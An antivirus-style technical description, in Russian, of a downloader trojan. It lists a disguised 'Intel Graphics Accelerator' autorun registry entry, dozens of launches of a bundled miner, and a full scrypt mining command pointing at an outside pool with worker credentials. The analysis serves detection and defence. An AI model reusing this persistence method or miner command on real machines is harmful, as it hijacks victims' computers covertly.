Trojan.DownLoader10.22821

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Intel Graphics Accelerator' = '%APPDATA%\Drivers\Loader.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\Drivers\UFASoft.exe' /pid=4428
'%APPDATA%\Drivers\UFASoft.exe' /pid=2956
'%APPDATA%\Drivers\UFASoft.exe' /pid=4928
'%APPDATA%\Drivers\UFASoft.exe' /pid=3824
'%APPDATA%\Drivers\UFASoft.exe' /pid=4056
'%APPDATA%\Drivers\UFASoft.exe' /pid=4016
'%APPDATA%\Drivers\UFASoft.exe' /pid=5220
'%APPDATA%\Drivers\UFASoft.exe' /pid=3656
'%APPDATA%\Drivers\UFASoft.exe' /pid=3216
'%APPDATA%\Drivers\UFASoft.exe' /pid=4780
'%APPDATA%\Drivers\UFASoft.exe' /pid=1732
'%APPDATA%\Drivers\UFASoft.exe' /pid=4980
'%APPDATA%\Drivers\UFASoft.exe' /pid=4880
'%APPDATA%\Drivers\UFASoft.exe' /pid=4368
'%APPDATA%\Drivers\UFASoft.exe' /pid=5940
'%APPDATA%\Drivers\UFASoft.exe' /pid=5900
'%APPDATA%\Drivers\UFASoft.exe' /pid=5580
'%APPDATA%\Drivers\UFASoft.exe' /pid=5888
'%APPDATA%\Drivers\UFASoft.exe' /pid=2204
'%APPDATA%\Drivers\UFASoft.exe' /pid=4920
'%APPDATA%\Drivers\UFASoft.exe' /pid=356
'%APPDATA%\Drivers\UFASoft.exe' /pid=5448
'%APPDATA%\Drivers\UFASoft.exe' /pid=6140
'%APPDATA%\Drivers\UFASoft.exe' /pid=3736
'%APPDATA%\Drivers\UFASoft.exe' /pid=1152
'%APPDATA%\Drivers\UFASoft.exe' /pid=2820
'%APPDATA%\Drivers\UFASoft.exe' /pid=2932
'%APPDATA%\Drivers\UFASoft.exe' /pid=5788
'%APPDATA%\Drivers\UFASoft.exe' /pid=6100
'%APPDATA%\Drivers\UFASoft.exe' /pid=5280
'%APPDATA%\Drivers\UFASoft.exe' /pid=2504
'%APPDATA%\Drivers\UFASoft.exe' /pid=5128
'%APPDATA%\Drivers\UFASoft.exe' /pid=3344
'%APPDATA%\Drivers\UFASoft.exe' /pid=3436
'%APPDATA%\Drivers\UFASoft.exe' /pid=5928
'%APPDATA%\Drivers\UFASoft.exe' /pid=2220
'%APPDATA%\Drivers\UFASoft.exe' /pid=4036
'%APPDATA%\Drivers\UFASoft.exe' /pid=5748
'%APPDATA%\Drivers\UFASoft.exe' /pid=5320
'%APPDATA%\Drivers\UFASoft.exe' /pid=3356
'%APPDATA%\Drivers\UFASoft.exe' /pid=3136
'%APPDATA%\Drivers\UFASoft.exe' /pid=4500
'%APPDATA%\Drivers\UFASoft.exe' /pid=5200
'%APPDATA%\Drivers\UFASoft.exe' /pid=5300
'%APPDATA%\Drivers\UFASoft.exe' /pid=2852
'%APPDATA%\Drivers\UFASoft.exe' /pid=5508
'%APPDATA%\Drivers\UFASoft.exe' /pid=1284
'%APPDATA%\Drivers\UFASoft.exe' /pid=5348
'%APPDATA%\Drivers\UFASoft.exe' -a scrypt -g no -o stratum+tcp://mine.pool-x.eu:9000 -u MasterKush.1 -p x -t 4
'%APPDATA%\Drivers\UFASoft.exe' /pid=5500
'%APPDATA%\Drivers\UFASoft.exe' /pid=4348
'%APPDATA%\Drivers\UFASoft.exe' /pid=3924
'%APPDATA%\Drivers\UFASoft.exe' /pid=2776
'%APPDATA%\Drivers\UFASoft.exe' /pid=5428
'%APPDATA%\Drivers\UFASoft.exe' /pid=5400
'%APPDATA%\Drivers\UFASoft.exe' /pid=4320
'%APPDATA%\Drivers\UFASoft.exe' /pid=5420
'%APPDATA%\Drivers\UFASoft.exe' /pid=3036
'%APPDATA%\Drivers\UFASoft.exe' /pid=5648
'%APPDATA%\Drivers\UFASoft.exe' /pid=5628
'%APPDATA%\Drivers\UFASoft.exe' /pid=3484
'%APPDATA%\Drivers\UFASoft.exe' /pid=4820
'%APPDATA%\Drivers\UFASoft.exe' /pid=3584
'%APPDATA%\Drivers\UFASoft.exe' /pid=5668
'%APPDATA%\Drivers\UFASoft.exe' /pid=6088
'%APPDATA%\Drivers\UFASoft.exe' /pid=3044
'%APPDATA%\Drivers\UFASoft.exe' /pid=5380
'%APPDATA%\Drivers\UFASoft.exe' /pid=5680
'%APPDATA%\Drivers\UFASoft.exe' /pid=4648
'%APPDATA%\Drivers\UFASoft.exe' /pid=4628
'%APPDATA%\Drivers\UFASoft.exe' /pid=5920
'%APPDATA%\Drivers\UFASoft.exe' /pid=4548
'<SYSTEM32>\cmd.exe' (загружен из сети Интернет)
'%APPDATA%\Drivers\UFASoft.exe' (загружен из сети Интернет)